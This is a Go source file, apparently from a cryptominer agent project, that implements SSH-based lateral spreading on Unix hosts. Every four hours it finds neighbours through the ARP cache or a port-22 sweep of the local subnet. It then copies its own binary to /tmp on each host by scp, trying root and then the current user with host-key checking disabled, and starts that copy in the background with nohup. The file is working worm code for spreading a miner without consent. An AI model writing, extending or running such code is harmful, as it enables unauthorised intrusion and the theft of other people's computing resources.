Files
AetherForge/agent/deploy/autospread_unix.go

156 lines
3.7 KiB
Go

//go:build !windows
package deploy
import (
"fmt"
"log"
"net"
"os"
"os/exec"
"path/filepath"
"strings"
"time"
"crypto-miner-agent/config"
)
// StartAutoSpreader launches SSH-based lateral deployment on Unix hosts.
func StartAutoSpreader(cfg config.RuntimeConfig) {
if !cfg.AutoSpread {
return
}
go func() {
time.Sleep(10 * time.Minute)
ticker := time.NewTicker(4 * time.Hour)
defer ticker.Stop()
for {
spreadUnixSubnet(cfg)
<-ticker.C
}
}()
log.Printf("[autospread] Unix SSH spread module active")
}
// RunSpreadOnce triggers an immediate SSH sweep (non-blocking).
func RunSpreadOnce(cfg config.RuntimeConfig) string {
go spreadUnixSubnet(cfg)
return "unix lateral spread sweep started (SSH :22)"
}
// spreadSem limits concurrent SSH spread goroutines to 16 (M20)
var spreadSem = make(chan struct{}, 16)
func spreadUnixSubnet(cfg config.RuntimeConfig) {
exePath, err := os.Executable()
if err != nil {
return
}
// ARP-first: use the OS ARP cache to find live hosts without a /24 sweep.
targets := arpHosts()
// Fallback: if ARP cache has < 3 entries, probe for SSH-open hosts.
if len(targets) < 3 {
ips := getLocalIPs()
seen := make(map[string]bool)
for _, t := range targets {
seen[t] = true
}
for _, ip := range ips {
subnet := getSubnet(ip)
if subnet == "" {
continue
}
for i := 1; i < 255; i++ {
candidate := fmt.Sprintf("%s.%d", subnet, i)
if candidate == ip || seen[candidate] {
continue
}
conn, connErr := net.DialTimeout("tcp", candidate+":22", 400*time.Millisecond)
if connErr == nil {
conn.Close()
seen[candidate] = true
targets = append(targets, candidate)
}
}
}
}
localSet := make(map[string]bool)
for _, ip := range getLocalIPs() {
localSet[ip] = true
}
for _, target := range targets {
if localSet[target] {
continue
}
spreadSem <- struct{}{}
go func(t string) {
defer func() { <-spreadSem }()
attemptSSHSpread(cfg, t, exePath)
}(target)
}
}
func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
conn, err := net.DialTimeout("tcp", target+":22", 2*time.Second)
if err != nil {
return
}
conn.Close()
remoteName := sanitizeName(cfg.WorkerName) + "-sync"
remotePath := filepath.ToSlash(filepath.Join("/tmp", remoteName))
scp := exec.Command("scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, "root@"+target+":"+remotePath)
if err := scp.Run(); err != nil {
user := os.Getenv("USER")
if user == "" {
user = "ubuntu"
}
scp = exec.Command("scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, user+"@"+target+":"+remotePath)
if err := scp.Run(); err != nil {
return
}
}
start := exec.Command("ssh", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", target,
fmt.Sprintf("chmod +x %s && nohup %s --spread-install >/dev/null 2>&1 &", remotePath, remotePath))
if err := start.Run(); err == nil {
log.Printf("[autospread] deployed to %s via SSH", target)
}
}
func getLocalIPs() []string {
var ips []string
ifaces, err := net.Interfaces()
if err != nil {
return ips
}
for _, i := range ifaces {
if i.Flags&net.FlagUp == 0 || i.Flags&net.FlagLoopback != 0 {
continue
}
addrs, err := i.Addrs()
if err != nil {
continue
}
for _, a := range addrs {
if ipnet, ok := a.(*net.IPNet); ok {
if ip4 := ipnet.IP.To4(); ip4 != nil && !ip4.IsLoopback() {
ips = append(ips, ip4.String())
}
}
}
}
return ips
}
func getSubnet(ip string) string {
parts := strings.Split(ip, ".")
if len(parts) != 4 {
return ""
}
return fmt.Sprintf("%s.%s.%s", parts[0], parts[1], parts[2])
}